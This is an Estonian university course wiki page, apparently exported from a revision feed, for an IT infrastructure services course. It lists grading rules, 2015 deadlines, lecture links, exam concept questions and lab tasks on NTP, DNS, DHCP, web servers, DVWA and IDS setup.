* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Teemad 2015 ==&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88412</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88412"/>
		<updated>2015-05-11T10:20:20Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
